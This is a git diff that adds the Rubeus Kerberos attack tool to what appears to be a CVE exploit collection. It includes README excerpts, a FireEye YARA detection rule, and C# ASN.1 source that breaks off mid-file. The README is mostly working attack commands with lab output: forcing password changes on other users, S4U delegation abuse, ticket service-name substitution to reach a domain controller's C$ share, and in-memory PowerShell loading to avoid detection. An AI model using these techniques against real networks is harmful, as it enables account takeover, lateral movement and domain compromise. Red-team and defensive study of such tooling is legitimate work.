C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + [*] Action: Create Process (/netonly) + + [*] Showing process : True + [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 + [+] ProcessID : 5352 + [+] LUID : 0x4a091c0 + + +### changepw + +The **changepw** action will take a user's TGT .kirbi blog and execute a MS kpasswd password change with the specified `/new:PASSWORD` value. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the password reset traffic. This is the Aorato Kerberos password reset disclosed in 2014, and is equivalent to Kekeo's **misc::changepw** function. + +The `/targetuser` argument can be used to change the password of other users, given the user whose TGT it is has enough privileges. The format required is **domain.com\user**. + +**Note that either a users TGT or a service ticket for kadmin/changepw can be used to change the password** + +You can retrieve a TGT blob using the [asktgt](#asktgt) command. + + C:\Rubeus>Rubeus.exe changepw /ticket:doIFFjCCBRKgA...(snip)...== /new:Password123! + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + [*] Action: Reset User Password (AoratoPw) + + [*] Changing password for user: harmj0y@TESTLAB.LOCAL + [*] New password value: Password123! + [*] Building AP-REQ for the MS Kpassword request + [*] Building Authenticator with encryption key type: rc4_hmac + [*] base64(session subkey): nX2FOQ3RsGxoI8uqIg1zlg== + [*] Building the KRV-PRIV structure + [*] Connecting to 192.168.52.100:464 + [*] Sent 1347 bytes + [*] Received 167 bytes + [+] Password change success! + +Changing the password of another user (**dev.ccob@dev.rubeus.ghostpack.local**) with a service ticket for **kadmin/changepw** retrieved using a referral TGT for **harmj0y@rubeus.ghostpack.local**: + + C:\Rubeus>Rubeus.exe changepw /targetuser:dev.rubeus.ghostpack.local\dev.ccob /new:Pwn3dPassword123! /ticket:doIFYDCCBVygAw...(snip)...RtaW4bCGNoYW5nZXB3 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Reset User Password (AoratoPw) + + [*] Using domain controller: DevDC1.dev.rubeus.ghostpack.local (192.168.71.85) + [*] Resetting password for target user: dev.rubeus.ghostpack.local\dev.ccob + [*] New password value: Pwn3dPassword123! + [*] Building AP-REQ for the MS Kpassword request + [*] Building Authenticator with encryption key type: aes256_cts_hmac_sha1 + [*] base64(session subkey): wCAQoKiWlCjeEjfmqo+aA7ZlLSXYWhv+LzlXkGVJSXU= + [*] Building the KRV-PRIV structure + [+] Password change success! + + + +### hash + +The **hash** action will take a `/password:X` and optional `/user:USER` and/or `/domain:DOMAIN`. It will generate the rc4_hmac (NTLM) representation of the password using @gentilkiwi's **kerberos:hash** (KERB_ECRYPT HashPassword) approach. If user and domain names are specified, the aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hash forms are generated. The user and domain names are used as salts for the AES and DES implementations. + +Calculating the rc4_hmac of a password: + + C:\Rubeus>Rubeus.exe hash /password:Password123! + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.0 + + + [*] Action: Calculate Password Hashes + + [*] Input password : Password123! + [*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE + + [!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types! + +Calculating all hash formats: + + C:\Rubeus>Rubeus.exe hash /password:Password123! /user:harmj0y /domain:testlab.local + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.0 + + + [*] Action: Calculate Password Hashes + + [*] Input password : Password123! + [*] Input username : harmj0y + [*] Input domain : testlab.local + [*] Salt : TESTLAB.LOCALharmj0y + [*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE + [*] aes128_cts_hmac_sha1 : B0A79AB550536860123B427C14F2A531 + [*] aes256_cts_hmac_sha1 : F7FEBF9779401B653911A56A79FF9E3A58F7F8990FDB3D9CA0E89227ABF13287 + [*] des_cbc_md5 : 614589E66D6B3792 + + +### tgssub + +The **tgssub** action will take a service ticket base64 blob/file specification and substitute an alternate service name into the ticket. This is useful for S4U abuse and other scenarios. + +The `/altservice:X` flag is required and can either be a standalone sname (ldap, cifs, etc.) or a full service principal name (cifs/computer.domain.com). The latter is useful in some S4U2self abuse scenarios with resource-based constrained delegation. See Elad Shamir's [post on the topic](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) for more information. + +The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The `/luid:0xA..` flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session. + +Executing the S4U2self/S4U2proxy proces to abuse traditional constrained delegation, and replacing the sname in the final ticket. This is so you don't have to execute the S4U process for a second time: + + C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /msdsspn:ldap/PRIMARY.testlab.local /impersonateuser:harmj0y /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.2 + + [*] Action: Ask TGT + + [*] Using rc4_hmac hash: 2B576ACBE6BCFDA7294D6BD18041B8FE + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIE+jCCBPagAwIBBaEDAgEWoo...(snip)... + + + [*] Action: S4U + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building S4U2self request for: 'patsy@TESTLAB.LOCAL' + [*] Sending S4U2self request + [+] S4U2self success! + [*] Got a TGS for 'harmj0y@TESTLAB.LOCAL' to 'patsy@TESTLAB.LOCAL' + [*] base64(ticket.kirbi): + + doIFXjCCBVqgAwIBBaEDAgEWoo...(snip)... + + [*] Impersonating user 'harmj0y' to target SPN 'ldap/PRIMARY.testlab.local' + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local' + [*] Sending S4U2proxy request + [+] S4U2proxy success! + [*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local': + + doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + C:\Rubeus>dir \\primary.testlab.local\C$ + Access is denied. + + C:\Rubeus>Rubeus.exe tgssub /ticket:doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... /altservice:cifs /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.2 + + + [*] Action: Service Ticket sname Substitution + + [*] Substituting in alternate service name: cifs + [*] base64(ticket.kirbi): + + doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... + + [*] Action: Describe Ticket + + UserName : harmj0y@TESTLAB.LOCAL + UserRealm : TESTLAB.LOCAL + ServiceName : cifs/PRIMARY.testlab.local + ServiceRealm : TESTLAB.LOCAL + StartTime : 3/1/2019 12:51:06 PM + EndTime : 3/1/2019 5:51:06 PM + RenewTill : 3/8/2019 12:51:06 PM + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable + KeyType : aes128_cts_hmac_sha1 + Base64(key) : yxQVMhl0qn3P0wUUC4KnGQ== + + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + C:\Rubeus>dir \\primary.testlab.local\C$ + Volume in drive \\primary.testlab.local\C$ has no label. + Volume Serial Number is A48B-4D68 + + Directory of \\primary.testlab.local\C$ + + 07/05/2018 12:57 PM dumps + 03/05/2017 04:36 PM inetpub + 07/21/2018 07:41 PM 9 out.txt + 08/22/2013 07:52 AM PerfLogs + 04/15/2017 05:25 PM profiles + 08/28/2018 11:51 AM Program Files + 08/28/2018 11:51 AM Program Files (x86) + 10/09/2018 12:04 PM Temp + 08/23/2018 03:52 PM Users + 10/25/2018 01:15 PM Windows + 1 File(s) 9 bytes + 9 Dir(s) 40,463,851,520 bytes free + + C:\Rubeus>Rubeus.exe klist + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.2 + + + + [*] Action: List Kerberos Tickets (Current User) + + [*] Current LUID : 0x6de14 + + [0] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM + Server Name : cifs/PRIMARY.testlab.local @ TESTLAB.LOCAL + Client Name : harmj0y @ TESTLAB.LOCAL + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) + + [1] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM + Server Name : ldap/PRIMARY.testlab.local @ TESTLAB.LOCAL + Client Name : harmj0y @ TESTLAB.LOCAL + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) + + +Executing S4U2self to a machine using its machine account hash, substituting in the service names we want to abuse after: + + C:\Rubeus>Rubeus.exe s4u /user:primary$ /rc4:46b910dbe4514bd144b44cb554c256db /impersonateuser:harmj0y + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.2 + + [*] Action: Ask TGT + + [*] Using rc4_hmac hash: 46b910dbe4514bd144b44cb554c256db + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building AS-REQ (w/ preauth) for: 'testlab.local\primary$' + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIFIDCCBRygAwIBBaEDAgEWoo...(snip)... + + + [*] Action: S4U + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building S4U2self request for: 'primary$@TESTLAB.LOCAL' + [*] Sending S4U2self request + [+] S4U2self success! + [*] Got a TGS for 'harmj0y@TESTLAB.LOCAL' to 'primary$@TESTLAB.LOCAL' + [*] base64(ticket.kirbi): + + doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... + + + C:\Rubeus>Rubeus.exe describe /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.2 + + + [*] Action: Describe Ticket + + UserName : harmj0y@TESTLAB.LOCAL + UserRealm : TESTLAB.LOCAL + ServiceName : primary$ + ServiceRealm : TESTLAB.LOCAL + StartTime : 3/1/2019 12:43:56 PM + EndTime : 3/1/2019 5:43:56 PM + RenewTill : 3/8/2019 12:43:56 PM + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable + KeyType : aes256_cts_hmac_sha1 + Base64(key) : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU= + + [!] Service ticket uses encryption key type 'aes256_cts_hmac_sha1', unable to extract hash and salt. + + + C:\Rubeus>dir \\primary.testlab.local\C$ + Access is denied. + + C:\Rubeus>Rubeus.exe purge + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.2 + + Luid: 0x0 + + [*] Action: Purge Tickets + [+] Tickets successfully purged! + + C:\Rubeus>Rubeus.exe tgssub /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... /altservice:cifs/primary.testlab.local /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.2 + + + [*] Action: Service Ticket sname Substitution + + [*] Substituting in alternate service name: cifs/primary.testlab.local + [*] base64(ticket.kirbi): + + doIFpjCCBaKgAwIBBaEDAgEWoo...(snip)... + + [*] Action: Describe Ticket + + UserName : harmj0y@TESTLAB.LOCAL + UserRealm : TESTLAB.LOCAL + ServiceName : cifs/primary.testlab.local + ServiceRealm : TESTLAB.LOCAL + StartTime : 3/1/2019 12:43:56 PM + EndTime : 3/1/2019 5:43:56 PM + RenewTill : 3/8/2019 12:43:56 PM + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable + KeyType : aes256_cts_hmac_sha1 + Base64(key) : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU= + + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + C:\Rubeus>dir \\primary.testlab.local\C$ + Volume in drive \\primary.testlab.local\C$ has no label. + Volume Serial Number is A48B-4D68 + + Directory of \\primary.testlab.local\C$ + + 07/05/2018 12:57 PM dumps + 03/05/2017 04:36 PM inetpub + 08/22/2013 07:52 AM PerfLogs + 04/15/2017 05:25 PM profiles + 08/28/2018 11:51 AM Program Files + 08/28/2018 11:51 AM Program Files (x86) + 10/09/2018 12:04 PM Temp + 08/23/2018 03:52 PM Users + 10/25/2018 01:15 PM Windows + 1 File(s) 9 bytes + 9 Dir(s) 40,462,831,616 bytes free + + +### currentluid + +The **currentluid** action will display the current user's logon ID (LUID). + + C:\Rubeus>Rubeus.exe currentluid + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + + [*] Action: Display current LUID + + [*] Current LogonID (LUID) : 0x121078 (1183864) + + +## Compile Instructions + +We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :) + +Rubeus has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose "Release", and build. + +### Targeting other .NET versions + +Rubeus' default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target Rubeus for .NET 4 or 4.5, open the .sln solution, go to **Project** -> **Rubeus Properties** and change the "Target framework" to another version. + +### Sidenote: Building Rubeus as a Library + +To build Rubeus as a library, under **Project** -> **Rubeus Properties** -> change **Output type** to **Class Library**. Compile, and add the Rubeus.dll as a reference to whatever project you want. Rubeus functionality can then be invoked as in a number of ways: + + + // pass the Main method the arguments you want + Rubeus.Program.Main("dump /luid:3050142".Split()); + + // or invoke specific functionality manually + Rubeus.LSA.ListKerberosTicketDataAllUsers(new Rubeus.Interop.LUID()); + + +You can then use [ILMerge](https://www.microsoft.com/en-us/download/details.aspx?displaylang=en&id=17630) to merge the Rubeus.dll into your resulting project assembly for a single, self-contained file. + + +### Sidenote: Running Rubeus Through PowerShell + +If you want to run Rubeus in-memory through a PowerShell wrapper, first compile the Rubeus and base64-encode the resulting assembly: + + [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt + +Rubeus can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Rubeus assembly string): + + $RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa...")) + +The Main() method and any arguments can then be invoked as follows: + + [Rubeus.Program]::Main("dump /user:administrator".Split()) + +Or individual functions can be invoked: + + $TicketBytes = [convert]::FromBase64String('BASE64_KERB_TICKET') + # start mmc.exe as netonly, not-hidden + $LogonID = [Rubeus.Helpers]::CreateProcessNetOnly("mmc.exe", $true) + # apply the ticket to mmc's logon session + [Rubeus.LSA]::ImportTicket($TicketBytes, $LogonID) + +#### Sidenote Sidenote: Running Rubeus Over PSRemoting + +Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Rubeus has a function to help with that. + +If you follow the instructions in [Sidenote: Running Rubeus Through PowerShell](#sidenote-running-rubeus-through-powershell) to create a Rubeus.ps1, append something like the following to the script: + + [Rubeus.Program]::MainString("triage") + +You should then be able to run Rubeus over PSRemoting with something like the following: + + $s = New-PSSession dc.theshire.local + Invoke-Command -Session $s -FilePath C:\Temp\Rubeus.ps1 + +Alternatively, Rubeus' `/consoleoutfile:C:\FILE.txt` argument will redirect all output streams to the specified file. diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus.exe b/00-CVE_EXP/CVE-2021-42287/Rubeus.exe new file mode 100644 index 0000000..fc846c8 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/Rubeus.exe differ diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/.vs/Rubeus/v16/.suo b/00-CVE_EXP/CVE-2021-42287/Rubeus/.vs/Rubeus/v16/.suo new file mode 100644 index 0000000..1b93c20 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/Rubeus/.vs/Rubeus/v16/.suo differ diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus.sln b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus.sln new file mode 100644 index 0000000..8b71ecc --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Rubeus", "Rubeus\Rubeus.csproj", "{658C8B7F-3664-4A95-9572-A3E5871DFC06}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.Build.0 = Debug|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.ActiveCfg = Release|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus.yar b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus.yar new file mode 100644 index 0000000..139b155 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus.yar @@ -0,0 +1,14 @@ +// From https://github.com/fireeye/red_team_tool_countermeasures/blob/3a773645093e77107dfc4e3b29eb74845cc2f25d/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar +// License: BSD 2-clause +rule HackTool_MSIL_Rubeus_1 +{ + meta: + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project." + md5 = "66e0681a500c726ed52e5ea9423d2654" + rev = 4 + author = "FireEye" + strings: + $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide + condition: + uint16(0) == 0x5A4D and $typelibguid +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/Asn1Extensions.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/Asn1Extensions.cs new file mode 100644 index 0000000..b032dc7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/Asn1Extensions.cs @@ -0,0 +1,47 @@ +using System; + +namespace Rubeus.Asn1 { + public static class Asn1Extensions { + + public static byte[] DepadLeft(this byte[] data) { + + int leadingZeros = 0; + for (var i = 0; i < data.Length; i++) { + if (data[i] == 0) { + leadingZeros++; + } else { + break; + } + } + + byte[] result = new byte[data.Length - leadingZeros]; + Array.Copy(data, leadingZeros, result, 0, data.Length - leadingZeros); + return result; + } + + public static byte[] PadLeft(this byte[] data, int totalSize) { + + if(data.Length == totalSize) { + return data; + } + + if(totalSize < data.Length) { + throw new ArgumentException("data bigger than totalSize, cannot pad with 0's"); + } + + byte[] result = new byte[totalSize]; + data.CopyTo(result, totalSize - data.Length); + return result; + } + + public static byte[] PadRight(this byte[] data, int length) { + if (data.Length == length) { + return data; + } + + var copy = new byte[length]; + data.CopyTo(copy, length - data.Length); + return copy; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnElt.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnElt.cs new file mode 100644 index 0000000..8966476 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Asn1/AsnElt.cs @@ -0,0 +1,2292 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Asn1 { + +/* + * An AsnElt instance represents a decoded ASN.1 DER object. It is + * immutable. + */ + +public class AsnElt { + + /* + * Universal tag values. + */ + public const int BOOLEAN = 1; + public const int INTEGER = 2; + public const int BIT_STRING = 3; + public const int OCTET_STRING = 4; + public const int NULL = 5; + public const int OBJECT_IDENTIFIER = 6; + public const int Object_Descriptor = 7; + public const int EXTERNAL = 8; + public const int REAL = 9; + public const int ENUMERATED = 10; + public const int EMBEDDED_PDV = 11; + public const int UTF8String = 12; + public const int RELATIVE_OID = 13; + public const int SEQUENCE = 16; + public const int SET = 17; + public const int NumericString = 18; + public const int PrintableString = 19; + public const int T61String = 20; + public const int TeletexString = 20; + public const int VideotexString = 21; + public const int IA5String = 22; + public const int UTCTime = 23; + public const int GeneralizedTime = 24; + public const int GraphicString = 25; + public const int VisibleString = 26; + public const int GeneralString = 27; + public const int UniversalString = 28; + public const int CHARACTER_STRING = 29; + public const int BMPString = 30; + + /* + * Tag classes. + */ + public const int UNIVERSAL = 0; + public const int APPLICATION = 1; + public const int CONTEXT = 2; + public const int PRIVATE = 3; + + /* + * Internal rules + * ============== + * + * Instances are immutable. They reference an internal buffer + * that they never modify. The buffer is never shown to the + * outside; when decoding and creating, copies are performed + * where necessary. + * + * If the instance was created by decoding, then: + * objBuf points to the array containing the complete object + * objOff start offset for the object header + * objLen complete object length + * valOff offset for the first value byte + * valLen value length (excluding the null-tag, if applicable) + * hasEncodedHeader is true + * + * If the instance was created from an explicit value or from + * sub-elements, then: + * objBuf contains the value, or is null + * objOff is 0 + * objLen is -1, or contains the computed object length + * valOff is 0 + * valLen is -1, or contains the computed value length + * hasEncodedHeader is false + * + * If objBuf is null, then the object is necessarily constructed + * (Sub is not null). If objBuf is not null, then the encoded + * value is known (the object may be constructed or primitive), + * and valOff/valLen identify the actual value within objBuf. + * + * Tag class and value, and sub-elements, are referenced from + * specific properties. + */ + + byte[] objBuf; + int objOff; + int objLen; + int valOff; + int valLen; + bool hasEncodedHeader; + + AsnElt() + { + } + + /* + * The tag class for this element. + */ + int tagClass_; + public int TagClass { + get { + return tagClass_; + } + private set { + tagClass_ = value; + } + } + + /* + * The tag value for this element. + */ + int tagValue_; + public int TagValue { + get { + return tagValue_; + } + private set { + tagValue_ = value; + } + } + + /* + * The sub-elements. This is null if this element is primitive. + * DO NOT MODIFY this array. + */ + AsnElt[] sub_; + public AsnElt[] Sub { + get { + return sub_; + } + private set { + sub_ = value; + } + } + + /* + * The "constructed" flag: true for an elements with sub-elements, + * false for a primitive element. + */ + public bool Constructed { + get { + return Sub != null; + } + } + + /* + * The value length. When the object is BER-encoded with an + * indefinite length, the value length includes all the sub-objects + * but NOT the formal null-tag marker. + */ + public int ValueLength { + get { + if (valLen < 0) { + if (Constructed) { + int vlen = 0; + foreach (AsnElt a in Sub) { + vlen += a.EncodedLength; + } + valLen = vlen; + } else { + valLen = objBuf.Length; + } + } + return valLen; + } + } + + /* + * The encoded object length (complete with header). + */ + public int EncodedLength { + get { + if (objLen < 0) { + int vlen = ValueLength; + objLen = TagLength(TagValue) + + LengthLength(vlen) + vlen; + } + return objLen; + } + } + + /* + * Check that this element is constructed. An exception is thrown + * if this is not the case. + */ + public void CheckConstructed() + { + if (!Constructed) { + throw new AsnException("not constructed"); + } + } + + /* + * Check that this element is primitive. An exception is thrown + * if this is not the case. + */ + public void CheckPrimitive() + { + if (Constructed) { + throw new AsnException("not primitive"); + } + } + + /* + * Get a sub-element. This method throws appropriate exceptions + * if this element is not constructed, or the requested index + * is out of range. + */ + public AsnElt GetSub(int n) + { + CheckConstructed(); + if (n < 0 || n >= Sub.Length) { + throw new AsnException("no such sub-object: n=" + n); + } + return Sub[n]; + } + + /* + * Check that the tag is UNIVERSAL with the provided value. + */ + public void CheckTag(int tv) + { + CheckTag(UNIVERSAL, tv); + } + + /* + * Check that the tag has the specified class and value. + */ + public void CheckTag(int tc, int tv) + { + if (TagClass != tc || TagValue != tv) { + throw new AsnException("unexpected tag: " + TagString); + } + } + + /* + * Check that this element is constructed and contains exactly + * 'n' sub-elements. + */ + public void CheckNumSub(int n) + { + CheckConstructed(); + if (Sub.Length != n) { + throw new AsnException("wrong number of sub-elements: " + + Sub.Length + " (expected: " + n + ")"); + } + } + + /* + * Check that this element is constructed and contains at least + * 'n' sub-elements. + */ + public void CheckNumSubMin(int n) + { + CheckConstructed(); + if (Sub.Length < n) { + throw new AsnException("not enough sub-elements: " + + Sub.Length + " (minimum: " + n + ")"); + } + } + + /* + * Check that this element is constructed and contains no more + * than 'n' sub-elements. + */ + public void CheckNumSubMax(int n) + { + CheckConstructed(); + if (Sub.Length > n) { + throw new AsnException("too many sub-elements: " + + Sub.Length + " (maximum: " + n + ")"); + } + } + + /* + * Get a string representation of the tag class and value. + */ + public string TagString { + get { + return TagToString(TagClass, TagValue); + } + } + + static string TagToString(int tc, int tv) + { + switch (tc) { + case UNIVERSAL: + break; + case APPLICATION: + return "APPLICATION:" + tv; + case CONTEXT: + return "CONTEXT:" + tv; + case PRIVATE: + return "PRIVATE:" + tv; + default: + return String.Format("INVALID:{0}/{1}", tc, tv); + } + + switch (tv) { + case BOOLEAN: return "BOOLEAN"; + case INTEGER: return "INTEGER"; + case BIT_STRING: return "BIT_STRING"; + case OCTET_STRING: return "OCTET_STRING"; + case NULL: return "NULL"; + case OBJECT_IDENTIFIER: return "OBJECT_IDENTIFIER"; + case Object_Descriptor: return "Object_Descriptor"; + case EXTERNAL: return "EXTERNAL"; + case REAL: return "REAL"; + case ENUMERATED: return "ENUMERATED"; + case EMBEDDED_PDV: return "EMBEDDED_PDV"; + case UTF8String: return "UTF8String"; + case RELATIVE_OID: return "RELATIVE_OID"; + case SEQUENCE: return "SEQUENCE"; + case SET: return "SET"; + case NumericString: return "NumericString"; + case PrintableString: return "PrintableString"; + case TeletexString: return "TeletexString"; + case VideotexString: return "VideotexString"; + case IA5String: return "IA5String"; + case UTCTime: return "UTCTime"; + case GeneralizedTime: return "GeneralizedTime"; + case GraphicString: return "GraphicString"; + case VisibleString: return "VisibleString"; + case GeneralString: return "GeneralString"; + case UniversalString: return "UniversalString"; + case CHARACTER_STRING: return "CHARACTER_STRING"; + case BMPString: return "BMPString"; + default: + return String.Format("UNIVERSAL:" + tv); + } + } + + /* + * Get the encoded length for a tag. + */ + static int TagLength(int tv) + { + if (tv <= 0x1F) { + return 1; + } + int z = 1; + while (tv > 0) { + z ++; + tv >>= 7; + } + return z; + } + + /* + * Get the encoded length for a length. + */ + static int LengthLength(int len) + { + if (len < 0x80) { + return 1; + } + int z = 1; + while (len > 0) { + z ++; + len >>= 8; + } + return z; + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. Trailing garbage is not tolerated. + */ + public static AsnElt Decode(byte[] buf) + { + return Decode(buf, 0, buf.Length, true); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. Trailing garbage is not tolerated. + */ + public static AsnElt Decode(byte[] buf, int off, int len) + { + return Decode(buf, off, len, true); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. If 'exactLength' is true, then trailing garbage is + * not tolerated (it triggers an exception). + */ + public static AsnElt Decode(byte[] buf, bool exactLength) + { + return Decode(buf, 0, buf.Length, exactLength); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. If 'exactLength' is true, then trailing garbage is + * not tolerated (it triggers an exception). + */ + public static AsnElt Decode(byte[] buf, int off, int len, + bool exactLength) + { + int tc, tv, valOff, valLen, objLen; + bool cons; + objLen = Decode(buf, off, len, + out tc, out tv, out cons, + out valOff, out valLen); + if (exactLength && objLen != len) { + throw new AsnException("trailing 